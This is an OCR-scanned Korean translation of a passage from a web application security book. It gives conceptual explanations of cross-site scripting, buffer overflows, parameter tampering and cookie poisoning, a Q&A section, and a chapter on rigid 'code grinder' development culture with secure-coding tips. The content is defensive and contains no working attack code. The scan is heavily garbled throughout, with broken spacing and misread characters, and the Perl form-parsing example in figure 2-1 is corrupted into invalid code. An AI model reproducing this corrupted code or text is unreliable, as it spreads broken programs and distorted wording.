하고 그것 을 싸이 트에 토의 침 입 에 리 용할수 있다. 파라메 터 변경 은 공격 자가 통과 
암호들과 가입등록들을 하지 않고 정보보안에 접근하게 한다. 

- 교차싸이트스크립 트작성은 비 법적프로그람(스크립트)들이 동적으로 발생한 Web 
폐지들에 삽입되는 능력 이 다. 이 스크립트들은 고객봉사폐지에 설명문을 불인것처 
럼 합법적자료로 위장하며 이 위장물이 다음은 Web 열람기를 리용하여 실행되게 
된다. 문제거리는 열람기가 비법코드를 포함하는 폐지를 내리적재할 때와 열람기 
가 스크립트의 유용성을 검사하지 못할 때 일어 난다. 

- 완충기 자리 넘 침공격은 프로그람이 하자고 한것보다 더 많은 자료를 고의적 으로 넣 
음으로써 일어 난다. 이것은 완충기에 들어 가는 입구기억크기에 대한 제한검사에 
서 나타나는 부족현상을 채용한다. 여분(나머지)자료는 그것을 받아 들이기 위하 
여 옆에 있는 기억기로 자리넘침하므로 프로그람의 일부 명령들을 넣었다고 생각 
되는 기억기의 또 다른 구역을 재쓰기할수 있다. 새로 들어 간 값들은 새 명령들 
일수 있는데 이것들은 공격 자에게 목표콤퓨터에 대한 조종을 줄수 있다. 

- 해커가 《 Cookie 중독》을 리용할 때 사용자는 보통 처음으로 Web 응용프로그람에 
접근할수 있는 권한을 가진 어떤 사람이다. 해커는 그의 콤퓨터에 기억된 Cookie 
를 바끌수 있으며 그것을 Web 싸이트에로 돌려 보낼수 있다. 응용프로그람은 i 
Cookie 에 대 한 변화들을 알지 못하기 때 문에 중독된 Cookie 를 처 리 할수 있 다. 효 
력은 보통 고정된(생신한) 자료파일들을 변화시킨다. 


장， 
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장， 


5. 해커라고 생각하면서 끼여들기를 막기 

끼 

- 해커들이 끼여들기와 Web 싸이트들을 공격하는데 리용하는 대다수 방법들을 시험 ᄉ이， 
해 봄으로써 우리는 자기들의 Web 싸이트에서 일어 나는 공격을 막는데 이와 꼭 I 
같은 실기들을 리용할수 있을것 이다. 자기의 코드를 기능상으로 검사한다. 즉 한 

걸음 앞서 보안을 검사하고 생각없이 지나칠수 있는 어떤 보안구멍으로 가능한껏〉 ■ 

끼여 들어 가는것이다. 

- 최량적인 보안심사와 검 사는 개 발림， QA 림 그리 고 정 보보안림 의 지 식 과 기 교들 , 

을 리용할 때에만 일어 난다. 

33; -—多法 

세， 



물음과 대답 







이 장의 물음에 대한 대 답은 저자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생 활을 통하여 체험 하도록 하는데 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 www . Syngress . 
com / solu 出 ons 의 《Ask the Anthor ) (저자에게 문의)을 누르시오. 

물음: 망보안이 나의 회사에서 주되는 초점으로 된다면 나의 Web 응용프로그람들을 
보호하는것이 중요한가? 

대답: 예，회사내에서 Web 응용프로그람보안에 대하여 생각하게 하는것은 실제로 
중요하다. 비법적해커들은 바로 망준위에서 공격하는것이 아니다. 즉 그들은 
응용프로그람준위 에 서 공격 을 위하여 교차싸이 트스크립 트 작성 과 완충기 자리 넘 
침들과 갈은 공격방법들을 리용한다. 사용자는 망준위로부터 이러한 형래의 
공격을 막을수 없다. 

물음: 나의 협조자는 어떤 다른 사람의 Web 응용프로그람에 로 어 떻게 해 킹하며 고 
객가입등록과 통과암호들 그리고 일부 신용카드정보와 같은 많은 개인정보에 
어떻게 접근하는가를 배웠다. 그는 자기는 정보를 가지고 아무것이나 실계로 
하지 못하며 아직 그 정보를 고정하는 누구에게도 보안구멍을 보고하지 않았 
기 때 문에 흰모자해커 라고 자칭한다. 그렇 다면 그는 실제 로 흰모자해커인가? 

대답: 그는 원하는 아무것이나 다 자체로 호출할수 있지만 그것이 실제로 문제가 아 
니다. 만일 당신의 동료가 위험에 처 한 극히 상처 입은 정보를 알고 있으면서 
도 모르는체 하고 그에 대해 다른 사람에게 자랑한다면 그의 행동은 명백히 
비도덕적이다. 

물음: 우리 는 완충기 자리 넘 침 공격 이 란 정 확히 무엇 이 며 어 떤 준위 에 서 그것 이 발생 
하는가에 대하여 혼돈하고 있다.정확히 무엇인가? 

대답: 완충기자리넘침공격은 프로그람이 받아 들일수 있는것보다 더 많은 정보를 
넣 음으로써 일 어 나는 공격 이 다. 완충기 자리 넘 침 공격 들은 완충기 에 기 억 되 는 
입구크기 에 대 한 제 한검사의 부족점을 채용한다. 이 공격들은 응용프로그람 
준위 에 서 일 어 나지 만은 때 때 로 DoS 와 DDoS 공격 과 같은 다른 공격 들과 련 
결된다. 

물음: 나는 작은 전자상거 래 회 사를 위한 개 발과 망림 의 관리 자이다. 따라서 우리 는 
뒤떨어 진 많은 보안개념들을 가지고 있다. 우리는 보안전문가를 데려 올 필 
요가 있다고 보고 그렇게 하려고 준비하고 있다. 어떤 형래의 모험들이 이러 
한 결심과 련결되는가? 

대답: 바로 여기서 보안전문가를 데려 오지 않았을 때보다도 더 많은 위험들이 보안 
전문가를 데 려 옴으로써 생긴다. 적합한 계획 , 선발하기전 광범한 조사, 제대 
로 한 비 공개 동의서 의 수표, 보안전문가를 위하여 설정 된 목적 과 요구조건 등 
과 함께 사용자는 자기 결심에서 보다 더 큰 보안을 느낄것이다. 명백히 언제 
인가 우리는 자기의 산하회사가 파괴되기 쉬운 결점에 저도 모르게 놓이게 하 
는 자기 코드에 누군가를 완전히 접근시킨다. 하지만 이것으로 하여 우리는 
보안개념들을 방조하는 명망이 높은 전문가를 데려 오는것을 절대로 단념해서 
는 안된다. 




제 2 장. 《쿄드파고 I 자〉〉로 
되는것을 피하기 

이 장의 기본체계 

판 코드파괴자란 무엇 인가 

산 코드작성 시 에서 의 창조적 인 사색 

관 코드파괴자의 관점에서 본 보안 

판 기능적 이고 보안적 인 

Web 응용프로그람구축 

결론 
여 요약 


이 물음과 대 답 



소 개 


해 커 공동체 참고서 인 Jargon 사전 ( http : // info , astrian . net / jargon ) 에 서 정 의 한것 처 
럼 코드파괴자란 창조성 이 부족하고 규칙들과 근본적 인 기술수법들로하여 제한 받는 개 
발자이다. 이 근본적인 수법들은 어떤 사람이 이러한 규칙들로 제한 받는다면 개발자의 
노력으로 창조력을 발휘하는것을 매우 어렵게 만든다. 코드파괴자 (Code Grinder ) 로 되 
는 개발자들은 큰 뜻이 없기때문에 그길로 간다. 즉 코드파괴자들은 개발자준위에서의 
자유로 하여 있는 힘껏 싸우는 환경으로부터 출생한다. 

일부 산업들은 엄격한 규칙 들과 제 한들이 보안을 세 우고 일관성 있는 결과를 내기 
위해서 필요하다고 보는데 은행산업과 정부는 둘 다 이 러한 산업들이다. 이 산업들에서 
는 혹독한 규칙들이 엄격한 보안을 펼요로 하는 다른데서와 같이 개발작업에 리용된다. 
개발자들을 조종하기 위한 엄격한 보안과 함께 코드작성에서의 창조성을 위해 작은 방을 
주는데 이것은 나쁘게 말해서 코드에서의 취약성들을 점차적으로 낳게 한다. 

이 산업들에서 생각한 낡은 양성공정은 마치 코드가 기능적이여야 보안된듯이 즉 보 
안은 망준위에서 일어 난다고 보았고 때때로 해커들에게 코드가 널리 공개된다는것이였 
다. 유감스럽게도 가장 째 인 보안을 가져 야 하는 산업들에 대 하여 볼 때 이 산업들은 흔 
히 작성된 임의의 코드에 따르는 가장 철저한 규정들과 절차를 가져야 한다. 

많은 사무원들은 위기가 닥쳐 올 때까지 실제로 마음속 보안을 가진다. 《보지도 말 
고 생각도 말라》는 속담이 있는데 이것은 보안돌파구들을 막는데 리용된 돈은 투자라고 
보지도 말며 또 불필요한 랑비라고도 생각지 말라는 뜻에서 자주 쓰인다. 또한 지금 많 
은 회사들은 인터네트기술부분으로 재빨리 이전하고 있는데 여기서 《특별한것》은 어쨌 
든 보안이나 적절한 검사 즉 개발이 지독하게 심사되지 않는다는것이다(이 씨나리오는 
코드파괴자를 저절로 만들어 내도록 하지는 않지만 여전히 그것이 망내와 다른 곳에서 
보안결핍을 낳는 원인이라면 창조적인 코드작성이 필요 없다는것이다). 

만일 개발자가 코드파괴자환경에 처하게 되면 초점은 보안이 아니라 기능적 인것에로 
간다. 코드가 예보가능한 코드이고 빨리 낡아 버리면 해커의 공격목표로 쉽게 된다. 개 
발자는 그것 이 크게 시 간을 들일 일 감이라고 생 각하고 산업 의 안밖을 연구한다. 그러 나 
개 발자는 몇달후에 자기 가 선택 개 발할수 있는 자유를 가진 어 떤 곳에서 새 로운 작업 을 
맡고 일할수 있다. 

이와 같은 위치에 있는 임의의 창조적인 코드작성자는 이전 개발장소에서 작성된 코 
드에 《구멍》들이 얼마나 있는가를 정확히 안다. 이 상태는 코드파피자환경을 개발에 
허용하는 한가지 경로로서 회사에 대하여서는 좋지 않은 일이다. 이것은 실제로 코드작 
성자로 하여금 이렇게도 저렇게도 할수 없는 매우 난처한 일이다. 이로 하여 일부 회사 
들은 단순히 개발노력 에서 유연성 이 전혀 없을수 있는 응용프로그람개 발에서 규범들을 
지켜야 한다는것을 느끼게 된다. 결국 이 회사들은 개발자들을 격리시키게 되며 이러한 
상태는 회사들이 다른 선택권을 가지고 나오는 약이 바싹 오른 개발자들을 회사에서 떠 
나 버리 도록 만든다. 같은 상태 에 처 한 회 사는 개 발자들이 개 발에 서 원하는것 이 무엇 인 
가를 정확히 알게 된다. 즉 개 발자들이 자기들의 노력으로 할만큼 한 보안을 다 취하지 
않는다는것을 알게 된다.《무엇이 전보다 나쁜 상태이다.》라는 등 동요가 실제로 나타 
난다. 즉 코드파괴 자로 종사하든가 아니 면 코드파괴자처 럼 일 하든가 하는 나쁜 상태 가 
생긴다. 이 장은 앞으로 어떤 사무실천들이 그것을 조장시키며 그러고 개발자들이 창조 
적이고 보안적인 코드작성을 인식하고 실천할수 있는 방법들을 륜곽적으로 고찰한다. 
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제 1 절. 코드파괴자란 무엇인가 


회사들은 프로그람작성 자들을 될수록 많이 요구한다. 매 프로그람작성자는 다 숙련 
된것도 아니며 또 자기들이 꿈 꾸는 비데오유희들을 설계 하는 일감을 충분히 가지지 못 
할수도 있으며 혹은 선발된 다른 위 치들에서 마음대로 일할수 있는것도 아니 다. 은행， 
보험，건강보호산업들과 정부는 대단히 많은 프로그람작성자들을 요구한다. 역시 그들이 
제공하는 제품이 확고한 질적준위와 호상 련관된다는것을 믿게 할 필요가 있다. 은행， 
정부 그리고 금융계는 코드파괴자들을 만드는 등 많은 면에서 공통점을 가진다. 만일 당 
신이 이 러 한 산업 들과 언제 인가 일 하였 다면 이 러한 엄 한 통제 속에서 작업 하는것 이 좋다 
는것을 확고하게 리해 할것 이 다. 수많은 련방，주와 지역은행법들과 규정들로 하여 회사 
들은 프로그람작성자를 이와 같은 과제들로부터 분리시키려고 하고 있으며 또 그렇게 하 
는것 이 옳다고 보고 있다. 

또 다른 공통점은 보다 낡은 기술의 리용이다. 은행들과 다른 금융계의 흥미거리들 
은 하루에 수백만권의 거래를 처리할것을 요구한다. 최근까지만(그리고 일부는 지금까지 
도 이 점을 론의하고 있다.) 하여도 이 과제를 위한 가장 좋은 하드웨어는 대형를퓨터였 
다. 대형콤퓨터는 값이 비싸지만 일반적으로 믿음성 이 높고 재미 나는것 이 매우 많다. 우 
리 는 매 일 휴식날의 첫 걸 음으로서 대 형 를퓨터자원들에 접 근하는 tn 3270 대 화를 시 작하 
였는지 ! 믿 음성，효과성，값은 어 떤것 을 보관하기 위한 아주 좋은 리유로 된 다. 

문제는 이 유물 갈은 체계들이 여전히 대단히 많은 낡은 코드를 만들어 내고 있다는 
것이다. 물론 최근의 대형콤퓨터는 Unix 와 갈은 OS 에서 달릴 가능성 이 있다고 하지만 
《거대한 철덩어리》의 대부분에서 갱신된것이란 아주 적다. 이것을 어떻게 할것인가? 
이것들은 산업의 심장에 있는 수백만$의 투자금에 해당된다. 상업거래들은 그것들의 사 
용가치내 림 시 간을 소수점아래 %로 측정 하고 있 다. 내 림 시 간값과 낡은 코드를 유지 해 야 
할 필요성의 결합에 의해 우리는 코드파괴자한테 필요한것이 무엇인가에 대한 처방을 내 
리게 된다. 우리는 최근에 미국항공국에 소속된 대상과제 에서 일하였는데 대상과제의 한 
부분이 바로 이 유물체 계 들을 새 로운 망설계 에 통합시 키 는것 이 였 다. 솔직 하게 경 영 자측 
은 유물체계에 내장된 응용프로그람의 개수를 알고 있지 못했지만 그것은 보건대 10000 
개 이상으로 추상된다. 

여기서 중요한것은 이 산업들이 프로그람작성자들 그것도 많은 사람들을 요구한다는 
것이다. 자본류동액 이 역시 문제 이다. 보다 많은 무엇인가 하려고 열망하는 코드작성자 
들은 자기자신들이 매우 보잘것 없는 주문에 유혹되였다는것을 안다. 이와 갈은 높은 자 
본류동액률에 의하여 생긴 질적인 상처를 완화시키기 위하여 규범들이 발생하고 규칙들 
이 개발되며 결국 코드파괴자들이 생긴다. 

우리는 코드파괴 자의 제품에 대하여 자주 사용하는 용어 《부우두우프로그람작성》 
(Voodoo programing ) 을 듣었거나 우연히 리용하였다(부우두우란 서부인디 아에 퍼진 
미 신을 말함). 함축된 뜻은 단순하다. 즉 프로그람작성자는 과제를 완수하기 위하여 미 
리 제조된 코드블로크들을 리용한다. 문제는 바로 여기에 있다. 프로그람작성자는 코드 
가 무엇을 하고 있고 또 자기가 그것을 어떻게 하고 있는가를 리해 못할수 있다는것이다. 
이것은 프로그람의 보안과 기능화에서 심각한 문제이다. 개발자가 자기의 프로그람을 절 
반도 리해하지 못할 때 문제를 어떻게 오유수정하겠는가? 거의 모든 산업들에서 코드의 
재 리용이 추세로 되고 있다고 말할수 있다. 

코드의 재 리용은 노력과 시간을 절약하게 한다. 심중하게 달라 붙을 때 코드의 재 리 
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용은 여기에 참가한 매 사람들에게 실제적인 리익을 줄수 있다. 즉 프로그람작성자들은 
같은 과제를 수행 하고 새 코드를 개 발하는데서 보다 적은 시 간을 소비 하게 되며 검사하 
는데도 더 적은 시간을 들이게 되고 결국 경영자측은 그것을 더 빨리 즉시 제품으로 만 
든다. 하지만 코드의 재리용이 창조력을 마비시키게 조작될 때는 문제들이 생기며 프로 
그람작성자에게 코드를 다시 쓸것을 요구한다. 

실례로 그림 2-1 에서 보여 준 한 조각의 Perl 코드는 우리가 자주 만나군 하는것인데 
코드파괴자로 떨어 지는 완전한 례증으로 된다. 우리는 우리가 Web 양식으로부터 모은 
입 구에 대 하여 리 용된 류사한 코드블로크들을 루차 지 적한다. 


if ($ ENV {’ REQUEST _ MeTHOD’}eq ’ GET ’) 

{ 

Pairs=split (/&/, $ ENV { ’ QUERY_STRING ’}): 

} 

else if ($ ENV {* REQUEST - MeTHod '} eq ’ POST ’) 

{ 

read ( STDIN , $ buffer , $ENV {' CUNTENT _ LENGTH '}) : 
8 pairs=split (/ &/ buffer ); 

} 

foreach $ pair (8 pairs ) 

Uocul ($ name , $ value)=split (/ =/, $ pair ) : 

$ name =~ tr /+/ /； 

$ name =~ s /%([ a - fA - Fo -7] [ a - fA - Fu -9]) / pack ( “ c ” , hex ($ l ))/ eq ； 
$ value =〜 tr /+/ /； 

$ value =~ s /% ([ a - fA - Fo -7] [ a - fA - Fu -9]) / pack ( “ c ” , hex ($ l ))/ eq ； 
$FORM [$ name ] =$value 
} 


그림 2-1. 코드파괴자식 Perl 코드 


7년전에도 이것을 그렇게 하였는데 지금도 그것이 여전히 남아 있다는 사실은 그것 
이 하고 있는 엄한 지표때문이다. 하지만 이것은 지나치게 복잡하고 처음부터 정확히 리 
해하기가 힘들므로 방해가 된다. 이 코드조각의 주되는 흠집의 하나가 어떤 형식의 자료 
가 통과되는가를 즉시에 알지 못하게 한다는것이다. 이것은 QUERY - STRING 으로부터 
모든것을 취하며 프로그람에로 그것을 빨아 들인다. Perl , PHP 혹은 Java 를 리용할 때 
프로그람작성 자는 완충기 자리넘 침과 같은 위험들을 실제 로 피할수 있을뿐아니 라 여전히 
프로그람을 훌륭히 살필수 있고 무슨 형태의 값들이 리용되고 있으며 그것이 무엇을 위 
한것 인가를 아주 빨리 볼수 있다. 

코드작업을 이렇게 하는가. 그렇다. 이것은 만점짜리이다. 만일 이 코드가 동작하지 
않는다면 어떻게 하겠는가. 만일 새로 일을 시작하는 프로그람작성자가 이 코드덩어리를 
리용하였다면 그가 그것을 오유수정할수 있다고 생각하는가. 지어 그는 어디서부터 시작 
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하는지 알고 있는가. 

그림 2-1 은 이와 같이 보편적이기때문에 그토록 위엄 있는 실례로 된다. 이 코드는 
자기 초창기 부터 (우리 는 그때 를 모르며 누구한테 서 도 들은적 이 없 다. ) 광범히 퍼 졌 으며 
지금은 사람들이 바로 이것을 그렇게 하는것이 옳은 방법이라고 생각할 정도로 널리 보 
급되고 있다. 그러므로 이것은 필요상 나쁜 방법도 아니고 확고히 좋은 방법도 아니다. 

Web 개발령역 에서 대 중화된 많은 언어 들인 PHP , Java , Perl 그리 고 얼마간 퍼 진 
C / C ++ 모두는 Web 와 CGI 개발에서 협조를 위한 폭 넓은 자원싸이트들을 인터네트에 가 
지 고 있 다. C ++ 와 Java 는 객 체 지 향프로그람작성 ( OOP : Object-Oriented Programm ¬ 
ing ) 보안에서 주되는 언어들이 다. 이것들한테는 코드의 재리용과 모둘프로그람작성에 
대 한 좋은것 들이 많지 만 우에 서 와 같이 코드리 용과 모둘접 속기 ( Plug - in ) 리 용사이 에 는 
주요한 차이가 있다. 차이는 포착하기 힘들 정도로 미묘하다. 우리는 코드파괴자들이 만 
들어 내는 환경들에 대하여 다음과 같이 4가지로 통보한다(《이렇게 하면 당신은 코드파 
피자로 될수 있다》). 

■) 너 무 사소한데 까지 주목 (Focus on minutiae ) 

보다 많은 주목이 코드의 식별이나 코드에 포함된 빈 공간의 크기에 주목할 때 
생긴 다. 

# 론리 가 맞지 않는 지 령 (Illoging directives ) 

마치 프로그람작성자가 아직 변경들을 가하지 않은것처럼 모든 원천코드가 4 PM 
로 묶어 졌다고 틀린 지 령들을 줄 때 생긴다. 

③ 습관이 잘못 붙은 코드작성 (Clinging to code ) 

프로그람작성 자들은 자기 들이 알고 있는 응용프로그람작성대 면부 API 
(Application Programming Interface ) 를 리용하는데 흔히 열 중하는데 그것 은 
사업상 결심이지 단독적인 과제를 위해서는 최량적이 못된다. 

g ) 너 무 많은 시 장거 래 처 리 (Too many cooks ) 

시 장거 래할 때 판매 혹은 기 술봉사는 개 발자들이 하는것 보다 더 많은 프로그람과 
관련한 결심들을 내리게 한다. 


규직들을 지키기 

규칙들은 일반적으로 좋은것이다. 규칙 이 없다면 우리모두는 도로에서 마음대로 자 
동차를 몰고 다닐것 이 다. 때 문에 규정과 규칙은 반드시 있어 야 한다. 누가 창조적 인 생 
각을 막고 누가 점심시간이 길며 누가 결과가 없이 하던 일을 쉽게 그만 두는가. 회사들 
이 극단적 으로 규칙을 만들면 그것은 곧 구속으로 되고 자유로운 생각과 표현을 막는 유 
일적 인 관례를 만드는것으로 된다. 

그렇 다고 하여 규칙들을 완전히 원시적이 되게 만들수는 전혀 없을것이 다. 매 상업 
거래는 제정된 규칙들을 가지며 그것은 예금할 때 그리고 쏘프트웨어개발이나 물품을 제 
조할 때도 마찬가지 이 다. 보통 이것들을 사무규범 혹은 규정 이 라고 부르며 이것들은 보 
통 직능상 임무의 기초로 된다. 실례로 자동차산업과 갈은 제조업체는 부분품들을 용접 
하는데 로보트들을 리용할수 있다. 이 로보트들한테 무엇을 어떻게 하는가를 알려 줄 필 
요가 있는데 이것을 흔히 콤퓨터프로그람을 가지고 한다. 규칙들은 섬광이 일어 날 때 
용접 하되 시 간상으로 미 리 정 해 진 최 대 값을 가지 고 용접할 필 요는 없 다는것 을 말해 줄 
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것 이 다. 만일 그렇게 하지 않는다면 쏘프트웨 어에 있는 사소한 결함으로 특정한 로보트 
가 용접부분을 너무 녹이여 차들에 오히려 구멍들을 낼수 있다. 원천코드를 작성하는데 
VKUnix 화면편집 기 )는 리용하고 EMACS (보다 보편화된 강력한 Unix 원천편집 기 )는 리 
용할수 없다고 말하는 규칙들은 다 어리석으면서도 극단적 인 규칙 이 다. 아무 일에서와 
마찬가지 로 규칙 들이 너 무 구속적일 때 사람들은 달아날 구멍 수만 찾아 다닐 것 이 며 이 것 
은 바로 생산력을 떨군다. 

가장 나쁜것 은 코드작성 자가《 보금자리》를 떠나게 하는것 이 다. 이 경 우에 《 보금 
자리》는 지 옥과 갈을것 이 다. 《사무규칙》을 수시 로 바꾸면 운영 에서 안정성 이 파괴될 
수 있다. 당신이 자기 목적 에 맞는 제 안들을 만들고 방법들을 개선하여 공정 에 새 활력 
을 불어 넣 으려고 시 도한다면 크게 실패할수 있 다. 많은 개 발쎈 터 들이 하는 돌격 시 간표 
에 따르는《새 방법》들에 대 한 시험결과는 대상과제시 간선 (project timeline ) 에 로 더 
높이 오를수 없게 할수 있다는것을 말해 준다. 그러 나 사실은 잘 알려 진 코드를 리용하 
는것이 검사를 비교적 빨리 할수 있게 한다. 이것은 사실이지만 새 방법론들이 필요하다 
는 요구를 배제해서는 안된다. 공격자들은 새로운 착취물들의 개발을 멈추지 않고 있다. 
이것은 마치도 고양이와 쥐사이 유희에서 쥐가 앉아서 고양이를 기다는것과 갈다. 

또 다른 위험은 바라지 않은 바그 ( bug ) 들이 쏘프트웨어 에 영원히 남아 있을수 있다 
는것이다. 만일 검사도식 이 있을수 있는 주위환경 (례컨대 지나치게 길이가 긴 입구)에 
대 해 타산하지 못했 다면 쏘프트웨어 는 강력한 취 약성 들을 포함할것 이 며 항상 파괴 될 것 
이 다. 

프로그람작성자들은 자기들이 리용하는 코드를 변화시키는데서 자유롭지 못하면 자 
기들이 항상 맞대고 보는 문제거리들을 전혀 고칠수 없을것이다. 당신은 이와 갈은 환경 
에서 자기의 창조적재능을 꽃 피우는데로 마음을 돌릴수 있는가. 


제 2 절. 코드작성시에서의 창조적인 사색 


개발자의 첫째가는 과제는《통》(격리된 작은 독방)을 달아나 버 리는것 이 다. 

일반적 인 감시는 그들이 굳세기때문에 힘들다. 즉 그들은 대 단히 큰 잘못을 그리 쉽 
게 범하지 않기때문에 감시 가 힘들다. 따라서 이 위험들을 피하기 위한 사색을 하게 된 
다. 첫번째 해결책은 사람들이 다른 형태의 바그들에 대하여 한것과는 다르게 보안바그 
쪽으로 행동하는가를 인식하는것인데 이것은 옳은 해결책이 아니다. 바그들은 흔히 서로 
떨어 져 은밀히 행동하려고 한다. 만일 보안고착이 명백하지 못하면 부끄러워 하지 말고 
방조를 받아야 한다. 

두번째 우리는 자기를 위한 보안을 제공 받기 위하여 다른 사람들을 계속 믿을수 없 
다. 자기가 처음 프로그람을 작성 하기 시작한다고 해도 보안위험들에 대하여 알고 있어 
야 한다. 만일 보안이 초기설계의 부분이 아니라면 아마 고통속에 있을것이다. 마음속 
보안을 가지고 출발할 필요가 있다. 

외부보안을 주는데는 없다. 즉 방화벽들은 외부보안을 제공하지 않는다는것을 상기 
시 킨다. 방화벽은 한가지 보안도구이지 총적 인 보안도구묶음은 아니다. 다른 사람이 맡 
아 해주는 주인다운 보안은 대답이 아니다. 또 프로그람을 작성할 때 보안위험이 생길수 
있다는것을 체득할 필요가 있다. 그러면 방화벽을 계속 믿으려고 하는가? 그것은 응용프 
로그람 혹은 응용프로그람으로부터 내 부자원들을 운반하고 통과시 키 는 대 통로로 될것 이 
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다. 해커들은 이것을 알고 있으며 그렇게 하도록 속일것이다. 그들은 미처 날뛰는 승냥 
이무리와 같이 응용프로그람을 겨냥하고 달라 불을것이다. 

필수적인 일부 보안연구들은 음성기능의 사용을 알아 차렸지만 일부는 아직 그렇지 
못하다. 경쟁조건 (race conditions : 목표가 정해 진 경쟁과 관련한 조건부들을 의미함)， 
완충기자리넘침，틀린자료와 갈은것들은 주로 기능시험에서 조사되고 있다. 

• 체계호출들의 귀환값(되돌림값)들을 항상 검사할것 

기능론의점과 보안론의점은 Perl 에서는 systemO 함수， C 에서는 exec 함수묶음과 
같은것을 리용하여 외부프로그람들을 호출할 때마다 호출을 전후하여 반드시 검 
사되 여 야 한다. 입 력 시 킨 자료가 쉴 ( shell ) 지 령 들과 같은 자유로운것 들이 라는것 
을 명백히 믿게끔 하기보다 바로 매개가 다 계획밑에 일한다는것을 믿게끔 하는 
것이 훨씬 더 필요하다. 

• 프로그람에로 통과된 인수들을 항상 검사할것 

이것은 인수들이 Web 질문을 거처 통과된것과 꼭같이 전통적인 지령선인수들을 
포함 한다. 

• 기 억시키거 나 읽으러는 파일들이 기 호련결 (Symbolic Link ) 에 로 변화되지 않았 
다는것을 확인할것 

이와 같은 공격들은 이 따금 민감한 파일에 로 접근하는데 리용되므로 Unix 체계의 
SUID 프로그람들과 같이 특수한 특권들을 가지고 달리는 프로그람들에서 가장 위 
험 하다. 

• 쏘프트웨어 사용자들의 처 사라고 생 각하지 말것 

사용자가 자기가 해를 입기 쉬운 언어를 사용하고 있다고 생각하면 완충기자리넘 
침의 기회를 피 하기 위한 간단한것들을 할수 있다. 좋은 실례는 StrcpyO 함수에 
반대 인 C 의 StrncpyO 함수를 리용하는것이다. 앞의 함수는 복사되는 바이트의 
개수만한 한계를 받아 들이는 길이를 아는 함수이다. 뒤의 함수는 전체 렬 
( String ) 을 복사하므로 렬 이 그에 할당된 기 억완충기길이보다 더 길수 있는 가능 
ᅦ。】 꿋! 다、 

• 파일체 계 에서《어 리 둥절》하지 말것 

프로그람의 시작에서 작업등록부를 명백히 설정하시오. 이것은 오유수정과 보안 
을 방조할것 이다. 역시 파일들을 열기，외부프로그람들을 실행 혹은 환경설정자 
료들을 읽는데서 그것들과 관련한 상대경 로이름을 리 용하지 말고 항상 완전경 로 
이름을 리용하시오. 

• 만일 가입등록루린을 설립하고 있다면 가입 등록시도들을 제한하기 위한 추적기 
( tracker ) 를 확립할것 

자물쇠를 리용하시오. 즉 프로그람에 야만적 으로 쉽게 달려 들지 못하게 하시오. 
만일 실제로 좋은 일만 있기를 바란다면 자물쇠에 관리자적작용을 주시오. 한편 
충분히 긴 지연계수기를 리용할수 있다. 

• 개발자를 인증하는 HTTP 환경변수들과 같은것들을 믿지 말것 
참고자료와 원격주소 같은것들은 쉽게 위조될수 있다. 

• 림 시 파일 (Temp file ) 들을 피 할것 

이 것 들은 경 쟁 조건들의 창조와 채 용을 위 해 완성 된 목표들이다. 만일 그것 을 리 
용해야 한다면 파일이름들을 알아 낼수 없게 하시오. 
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1. 사색을 고려하기 


개발자는 때때로 무엇을 어떻게 할지 갈피를 잡지 못할수 있다. 이것은 개발자가 코 
드파괴자라는것을 의미하지 않는다. 즉 그 의미는 우리가 최종적인 결심을 내리지 못하 
게 하는 일감들에 우리모두가 우연히 맞다든 경우을 말한다. 다른 경우《가장 좋은》선 
택이라고 볼수 있는 경로는 실제로 취해 진 경로이다. 그것이 일어 날 때 우리는 자기들 
의 견해들을 타산하게 되므로 우리는 오직 우리들자체만이 아니라 회사를 위해서 생각하 
게 된다. 


도구와 함정... 


처분할수 있는 가능한 모든 자원들을 리용하시오. 


만일 창조적으로 프로그람을 작성하기 시작했다면 어디서 충고와 방조를 받아 
야 하는가? 이 물음은 새로 일을 시작한 많은 프로그람작성자들한테서 제기되는데 
그것은 흔히 첫 실수로 하여 생기는 무서움때문이다. 가령 자기한테 코드선생을 가 
지고 있지 못하거나 아직 그들의 지혜를 만족하게 써먹을줄 모른다면 두 길중 하나 
를 택할수 있다. 

가장 많은 풍부한 지식원천들을 인터네트의 아무데서나 반갑게 찾아 리용할수 
있 다. 만일 접 속을 위해 ISP (인 터 네 트봉사제 공자나 기 관) 에 자기 이 름을 서 명하면 
그들은 의 심할바없이 Usenet News 를 제 공한다. Usenet 는 소란스러운 대 기 실과 
비슷하다. 여기에는 우선 소음들이 많은데 그 전파장애를 려과하기 위한 학습은 우 
리에게 최대한의 기술정보혜택을 베풀것이다. 

그러면 어떻게 그 전파장애를 극복하면서 론의대상의 심장속깊이 들어 가겠는 
가? 그러자면 얼마간의 시간이 필요하다. 그동안 우리는 자기가 읽으러고 흥미를 
가지는 Newsgroup 를 따라 갈수 있다. 우리는 일반사람들의 대답이 항상《아 
유!》 (a ha !) 거 나 그들이 류사한 반응으로 인사한다는데 류의 할것 이 다. 그러 나 사 
실은 일부 응답자들은 정확한 대답을 주고 일부는 비난 받을 대답을 한다. 우리는 
곧 저절로 자기 지식을 내놓는 지식폭로천사들을 볼수 있을것이며 다음은 진상품을 
수확하기 시작할수 있다. 

역시 기술적인 문제들에 대한 관록 있는 론의들을 가진 Web 폐지들을 찾을수 
있 다. 


나한테 친절한 두 페지는 Perl Monks Web 싸이 트 ( www . perlmonks . org ) 와 
Sun Microsystems 의 Java 싸 이 폐 터 ■. 


사무규칙들을 엄격히 준수하여야 하는 경우가 때때로 제기되군 하는데 그러나 일반 
적으로 사용자들은 이 규칙들의 세세한 부분까지 항상 흥미를 가지지 않는다. 우리는 이 
러 한 규칙들이 우리 일을 방조한다는것을 알게 하고 사무를 볼 때 그렇게 하도록 하는 
그런 사람들을 믿는다. 결국 그들은 우리들을 위한 규칙들을 만드는 사람으로서 회사에 


42 






종사하며 소비자들과 우리를 위해서 할수 있는 모든 노력을 다한다. 

다른 한편 회사는 전문가적인 지식과 경험을 우리에게 주므로 우리는 수정할 펼요가 
있게끔 발간물을 더럽혔을 때 그것을 반드시 처리해야 할 의무를 지니게 된다. 만일 회 
사측이 우리가 제공할수 있는 무엇인가를 원한다면 우리는 자기의 생각들을 론의할수 있 
는 수많은 기회들을 마련할수 있다. 설계，심사에 참가할것을 초청 받으면 매번 바물 필 
요는 없지만 검사 때마다 자기식방법을 리용하는것 이 매우 중요하다고 생각한다. 

2. 정확한 모듈프로그람작성 

때때로 코드파괴자와 거대한 코드작성자유를 가진 환경속에서 움직이는 어떤 사람사 
이의 차이를 말하기가 힘들다. 코드파괴자는 실지로 얼마간의 거대한 코드를 만들어 낼 
